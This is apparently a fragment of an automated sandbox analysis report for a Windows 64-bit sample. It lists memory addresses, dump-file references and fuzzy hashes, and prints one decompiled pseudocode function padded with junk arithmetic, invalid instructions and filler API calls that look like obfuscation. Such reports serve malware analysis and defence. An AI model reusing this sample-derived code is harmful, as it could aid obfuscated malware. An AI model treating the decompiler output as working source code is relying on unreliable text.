0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Strings

7, xrefs: 00007FF6B1CA79C8

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: af62882cd54f62984bf874156e8fe55fbd9de0226a782e7f9eb65548b2bd7343
Instruction ID: 9d28fb34464a81c9f8653ee5060b40e41cf473d4896979ceff816d9970287540
Opcode Fuzzy Hash: af62882cd54f62984bf874156e8fe55fbd9de0226a782e7f9eb65548b2bd7343
Instruction Fuzzy Hash: 92F18C67F38A4666F7125F3CAD4A2B922A17F2070DF780739C709E119ACF3DB5868244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7958 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 437
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF67FF6B1CA7958(void* __ebx, void* __edi, signed int __esi, void* __ebp, struct HWND__* __rdx, void* _a32, signed int _a144, signed long long _a152, void* _a160, void* _a168) {
				signed int _t77;
				void* _t91;
				signed int _t196;
				void* _t218;
				signed int _t261;
				void* _t264;
				signed int _t297;
				signed int _t299;
				void* _t308;
				void* _t314;
				void* _t320;
				void* _t321;
				void* _t322;
				void* _t325;
				void* _t326;
				void* _t340;
				void* _t347;
				signed int _t350;
				void* _t357;
				signed int _t375;
				void* _t386;
				void* _t389;
				void* _t390;
				void* _t392;
				void* _t400;
				void* _t401;
				void* _t403;
				signed long long _t416;
				signed long long _t417;
				signed long long _t419;
				signed long long _t420;
				signed long long _t421;
				signed long long _t425;
				signed long long _t429;
				void* _t433;
				signed long long _t436;
				signed long long _t450;
				signed long long _t454;
				signed long long _t458;
				signed long long _t462;
				signed long long _t466;
				signed long long _t470;
				signed long long _t474;
				signed long long _t478;
				signed long long _t482;
				signed long long _t486;
				signed long long _t487;
				signed long long _t490;
				signed long long _t494;
				void* _t498;
				signed long long _t501;
				signed long long _t502;
				void* _t505;
				void* _t508;
				void* _t515;
				void* _t518;
				void* _t521;
				void* _t524;
				void* _t527;
				void* _t544;
				void* _t551;
				void* _t554;
				void* _t557;
				void* _t560;
				void* _t563;
				void* _t566;
				void* _t569;
				void* _t572;
				void* _t575;
				void* _t578;
				void* _t581;
				void* _t584;
				void* _t587;
				void* _t590;
				void* _t593;
				void* _t596;
				void* _t599;
				void* _t602;
				void* _t605;
				void* _t608;
				void* _t611;
				void* _t614;
				void* _t617;
				signed long long _t620;
				void* _t623;
				signed long long _t628;
				void* _t631;
				void* _t634;
				void* _t637;
				void* _t640;
				void* _t643;
				signed long long _t681;
				signed long long _t694;
				signed long long _t711;
				void* _t714;
				void* _t719;
				void* _t722;
				void* _t728;

				_t264 = __ebx + r13d;
				 *0xb1decf60 = _t681;
				_t77 = E00007FF67FF6B1D3ACF4(_t416) & r12d;
				if (_t77 >= 0) goto 0xb1ca7974;
				_t417 = _t416 | 0xffffff80;
				_t314 = _t417 - _t711;
				if (_t314 != 0) goto 0xb1ca7954;
				 *((intOrPtr*)(_t711 - 0x80)) =  *((intOrPtr*)(_t711 - 0x80)) + dil;
				if (_t314 >= 0) goto 0xb1ca7994;
				 *0xb1decf60 = _t694;
				 *0xb1decf60 = 0x52;
				if (0x52 - 0x5b < 0) goto 0xb1ca797d;
				 *((intOrPtr*)(_t694 + 0x23)) =  *((intOrPtr*)(_t694 + 0x23)) + (_t77 - r13d + r13d & r12d) - r13d + r13d;
				asm("les edi, [ebp+0x8]");
				if (0x52 - 0x5b >= 0) goto 0xb1ca79c8;
				_t419 = _t417 | _t711 | _t711;
				r12d = 0x37;
				goto 0xb1ca79f2;
				if (_t264 + r13d - r12d >= 0) goto 0xb1ca79f7;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(_t419);
				_t420 = _t419 & 0x8000007f;
				if (_t420 >= 0) goto 0xb1ca79f2;
				_t421 = _t420 | _t711;
				if (_t421 == 0x1d) goto 0xb1ca79d0;
				E00007FF67FF6B1D3ACF4(_t421);
				 *0xb1decf60 = r13d;
				r13d = 0x4b;
				_t320 = __esi - r13d;
				if (_t320 < 0) goto 0xb1ca7a0c;
				 *0xb1decf60 = _t714 + 0x2d;
				E00007FF67FF6B1D3ACF4(_t421);
				_push(0x8000007f);
				if (_t320 >= 0) goto 0xb1ca7a46;
				 *0xb1decf60 = _t719 + 0x2d;
				E00007FF67FF6B1D3ACF4(_t421);
				if (_t320 >= 0) goto 0xb1ca7a41;
				_t425 = ((_t421 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				_t321 = _t425 - 0x76;
				if (_t321 >= 0) goto 0xb1ca7a25;
				_t91 = E00007FF67FF6B1D3ACF4(_t425);
				if (_t321 >= 0) goto 0xb1ca7a57;
				_t429 = ((_t425 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				_t322 = _t429 - 0x23;
				if (_t322 < 0) goto 0xb1ca7a7c;
				_pop(_t722);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + _t91;
				 *0xb1decf60 = 0x2d;
				AnyPopup();
				IsZoomed(??);
				GetModuleHandleW(??);
				IsZoomed(??);
				 *0xb1decf60 = 0x24;
				GetModuleHandleW(??);
				asm("cmpsd");
				_push(0x2d);
				asm("adc al, 0x0");
				E00007FF67FF6B1D3ACF4(_t429);
				if (_t322 >= 0) goto 0xb1ca7ac8;
				_t433 = ((_t429 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				if (_t433 - 0x33 > 0) goto 0xb1ca7ad2;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				_t436 = (_t433 - 0x0000002d | _t711) + 0x2d;
				_t325 = _t436 - 0x69;
				if (_t325 >= 0) goto 0xb1ca7b2b;
				E00007FF67FF6B1D3ACF4(_t436);
				if (_t325 >= 0) goto 0xb1ca7afa;
				_t326 = ((_t436 & 0x8000007f) - 0x0000002d | _t711) + 0x2d - 0x44;
				if (_t326 == 0) goto 0xb1ca7b1f;
				E00007FF67FF6B1D3ACF4(((_t436 & 0x8000007f) - 0x0000002d | _t711) + 0x2d);
				if (_t326 >= 0) goto 0xb1ca7b0e;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0xc;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				asm("adc al, 0x0");
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup();
				E00007FF67FF6B1D3ACF4(0x5d463f7100000041);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b69;
				_t450 = (0x53ced87900000014 | _t711) + 0x2d;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (0x14 - 0x1d < 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(_t450);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b8e;
				_t454 = ((_t450 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				if (0x14 - 0x3b > 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(_t454);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7ba2;
				_t458 = ((_t454 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				 *0xb1decf60 = 0;
				goto 0xb1ca7bcc;
				E00007FF67FF6B1D3ACF4(_t458);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7bc2;
				_t462 = ((_t458 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				if (0x14 > 0) goto 0xb1ca7bcc;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1DA4020();
				E00007FF67FF6B1D3ACF4(_t462);
				if (0x14 >= 0) goto 0xb1ca7be1;
				_t466 = ((_t462 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				asm("movsd xmm6, [0x116f17]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x14 <= 0) goto 0xb1ca7d0d;
				E00007FF67FF6B1D3ACF4(_t466);
				if (0x14 >= 0) goto 0xb1ca7c0a;
				_t470 = ((_t466 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				if (0x14 - 0x20 > 0) goto 0xb1ca7cc2;
				E00007FF67FF6B1D3ACF4(_t470);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7c22;
				_t474 = ((_t470 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(_t474);
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c36;
				_t478 = ((_t474 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(_t478);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c4a;
				_t482 = ((_t478 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				goto 0xb1ca7ca8;
				E00007FF67FF6B1D3ACF4(_t482);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c64;
				_t486 = ((_t482 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				if (0x14 - 0x7b > 0) goto 0xb1ca7c8a;
				E00007FF67FF6B1D3ACF4(_t486);
				_t487 = _t486 & 0x8000007f;
				if (0x14 >= 0) goto 0xb1ca7c78;
				_t490 = (_t487 - 0x0000002d | _t711) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (0x14 <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime();
				E00007FF67FF6B1D3ACF4(_t490);
				if (0x14 >= 0) goto 0xb1ca7c9f;
				_t494 = ((_t490 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				_t340 = r14d - 0x5c;
				if (_t340 < 0) goto 0xb1ca7c13;
				E00007FF67FF6B1D3ACF4(_t494);
				r14d = __esi;
				if (_t340 >= 0) goto 0xb1ca7cd4;
				_t498 = ((_t494 & 0x8000007f) - 0x0000002d | _t711) + 0x2d;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t498);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7cf3;
				_t501 = (_t498 - 0x0000002d | _t711) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x14;
				goto 0xb1ca7d58;
				E00007FF67FF6B1D3ACF4(_t501);
				r14d = __esi;
				_t502 = _t501 & 0x8000007f;
				if (0x14 >= 0) goto 0xb1ca7d1f;
				_t505 = (_t502 - 0x0000002d | _t711) + 0x2d;
				if (0x14 - 0x1d <= 0) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t505) & r14d) >= 0) goto 0xb1ca7d34;
				_t508 = (_t505 - 0x0000002d | _t711) + 0x2d;
				if (0x14 != 0x67) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t508) & r14d) >= 0) goto 0xb1ca7d49;
				_t347 = (_t508 - 0x0000002d | _t711) + 0x2d - 0x67;
				 *0xb1decf60 = 0;
				if (_t347 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d);
				if (_t347 >= 0) goto 0xb1ca7d7a;
				_t515 = (0xef508b1b00000020 | _t711) + 0x2d;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t347 > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(_t515);
				if (_t347 >= 0) goto 0xb1ca7da0;
				_t518 = (_t515 - 0x0000002d | _t711) + 0x2d;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				IsIconic(__rdx);
				E00007FF67FF6B1D3ACF4(_t518);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dbd;
				_t521 = (_t518 - 0x0000002d | _t711) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(_t521);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dea;
				_t524 = (_t521 - 0x0000002d | _t711) + 0x2d;
				asm("movsd xmm6, [0x116af6]");
				if (0x4d != 0x76) goto 0xb1ca7e39;
				_t350 = E00007FF67FF6B1D3ACF4(_t524) & r14d;
				if (_t350 >= 0) goto 0xb1ca7e07;
				_t527 = (_t524 - 0x0000002d | _t711) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t350 >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(_t527) & r14d) >= 0) goto 0xb1ca7e25;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4((_t527 - 0x0000002d | _t711) + 0x2d);
				if (0x4d - 0x30 >= 0) goto 0xb1ca7e53;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(((_t527 - 0x0000002d | _t711) + 0x0000002d - 0x0000002d | _t711) + 0x2d);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4((((_t527 - 0x0000002d | _t711) + 0x0000002d - 0x0000002d | _t711) + 0x0000002d - 0x0000002d | _t711) + 0x2d);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = 0;
				asm("adc al, 0x0");
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(0x59df3f7100000042);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				_t544 = (0x50ac058900000015 | _t711) + 0x2d;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(_t544);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				_t357 = (_t544 - 0x0000002d | _t711) + 0x2d - 0x65;
				if (_t357 > 0) goto 0xb1ca7f1b;
				if (_t357 == 0) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (_t357 >= 0) goto 0xb1ca7f07;
				_t551 = (0xef508b1b0000003b | _t711) + 0x2d;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(_t551);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				_t554 = (_t551 - 0x0000002d | _t711) + 0x2d;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(_t554) & r14d) >= 0) goto 0xb1ca7f44;
				_t557 = (_t554 - 0x0000002d | _t711) + 0x2d;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t557) & r14d) >= 0) goto 0xb1ca7f59;
				_t560 = (_t557 - 0x0000002d | _t711) + 0x2d;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t560) & r14d) >= 0) goto 0xb1ca7f76;
				_t563 = (_t560 - 0x0000002d | _t711) + 0x2d;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t563);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				_t566 = (_t563 - 0x0000002d | _t711) + 0x2d;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t566) & r14d) >= 0) goto 0xb1ca7fa9;
				_t569 = (_t566 - 0x0000002d | _t711) + 0x2d;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t569);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				_t572 = (_t569 - 0x0000002d | _t711) + 0x2d;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t572) & r14d) >= 0) goto 0xb1ca7fec;
				_t575 = (_t572 - 0x0000002d | _t711) + 0x2d;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t575) & r14d) >= 0) goto 0xb1ca8005;
				_t578 = (_t575 - 0x0000002d | _t711) + 0x2d;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t578) & r14d) >= 0) goto 0xb1ca8020;
				_t581 = (_t578 - 0x0000002d | _t711) + 0x2d;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t581);
				_t375 = E00007FF67FF6B1D3ACF4(_t581) & r14d;
				if (_t375 >= 0) goto 0xb1ca8046;
				_t584 = (_t581 - 0x0000002d | _t711) + 0x2d;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t375 != 0) goto 0xb1ca805e;
				if (_t375 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(_t584);
				if (_t375 >= 0) goto 0xb1ca807a;
				_t587 = (_t584 - 0x0000002d | _t711) + 0x2d;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t587);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				_t590 = (_t587 - 0x0000002d | _t711) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t590);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				_t593 = (_t590 - 0x0000002d | _t711) + 0x2d;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t593);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				_t596 = (_t593 - 0x0000002d | _t711) + 0x2d;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t596);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t599 = (_t596 - 0x0000002d | _t711) + 0x2d;
				_t297 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t599) & r14d) >= 0) goto 0xb1ca812d;
				_t602 = (_t599 - 0x0000002d | _t711) + 0x2d;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t602) & r14d) >= 0) goto 0xb1ca8142;
				_t605 = (_t602 - 0x0000002d | _t711) + 0x2d;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t196 = E00007FF67FF6B1D3ACF4(_t605);
				_t197 = _t196 & r14d;
				if ((_t196 & r14d) >= 0) goto 0xb1ca8157;
				_t608 = (_t605 - 0x0000002d | _t711) + 0x2d;
				r8d = r15d;
				r8b = _t608 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *0x93339E80000004D;
				r8d = _a144;
				E00007FF67FF6B1CB41F0(_t197, _t308, 0x126552d000000039,  *0x93339E8000000BD, 0x8000007f); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t297, 0x126552d000000039, 0, _t608, _t728), _t308,  *((intOrPtr*)(0x93339e8000000bd)));
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(_t608);
				E00007FF67FF6B1D3ACF4(_t608);
				asm("push es");
				_t611 = (_t608 - 0x0000002d | 0xffffff80) + 0x2d;
				asm("movsd xmm6, [0x11694a]");
				_t386 = _t611 - 5;
				if (_t386 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t611);
				if (_t386 >= 0) goto 0xb1ca81e3;
				_t614 = (_t611 - 0x0000002d | 0xffffff80) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t386 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t614);
				if (_t386 >= 0) goto 0xb1ca820e;
				_t617 = (_t614 - 0x0000002d | 0xffffff80) + 0x2d;
				if (_t617 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t617);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t620 = (_t617 - 0x0000002d | 0xffffff80) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t620;
				 *0xb1decf60 = 0x2d;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t389 = r12d - 0x42;
				if (_t389 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t620);
				if (_t389 >= 0) goto 0xb1ca8274;
				_t623 = (_t620 - 0x0000002d | 0xffffff80) + 0x2d;
				_t390 = _t623 - 0x2e;
				if (_t390 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t623);
				if (_t390 >= 0) goto 0xb1ca828f;
				_t299 = r15d & 0xffffff00 | (_t623 - 0x0000002d | 0xffffff80) + 0x0000002d - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t218 = E00007FF67FF6B1D3ACF4((_t623 - 0x0000002d | 0xffffff80) + 0x2d);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t299;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t299;
				 *0x6b =  *0x6b + _t218;
				_t628 = _a152 + 0x2d;
				_a152 = _t628;
				 *0xb1decf60 = _t628;
				_t392 = _t628 - 0x1f;
				if (_t392 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = 0x2d;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t628 =  *_t628 | _t628;
				if (_t392 >= 0) goto 0xb1ca8308;
				_t631 = (_t628 - 0x0000002d | 0xffffff80) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t392 != 0) goto 0xb1ca8318;
				if (_t392 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t631) & r14d) >= 0) goto 0xb1ca8333;
				_t634 = (_t631 - 0x0000002d | 0xffffff80) + 0x2d;
				if (_t634 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t634) & r14d) >= 0) goto 0xb1ca835e;
				_t637 = (_t634 - 0x0000002d | 0xffffff80) + 0x2d;
				if (_t637 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t637);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t640 = (_t637 - 0x0000002d | 0xffffff80) + 0x2d;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t640);
				if (_t640 - 0x34 >= 0) goto 0xb1ca8397;
				_t643 = (_t640 - 0x0000002d | 0xffffff80) + 0x2d;
				_t400 = _t643 - 0x1f;
				if (_t400 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t643);
				if (_t400 >= 0) goto 0xb1ca83ac;
				_t401 = (_t643 - 0x0000002d | 0xffffff80) + 0x2d - 4;
				if (_t401 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t643 - 0x0000002d | 0xffffff80) + 0x2d);
				if (_t401 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t403 = r13d - 0x54;
				if (_t403 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t403 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = 0x2d;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = 0x2d;
				IsIconic(??);
				asm("adc al, 0x0");
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(0x546a3f710000007d);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
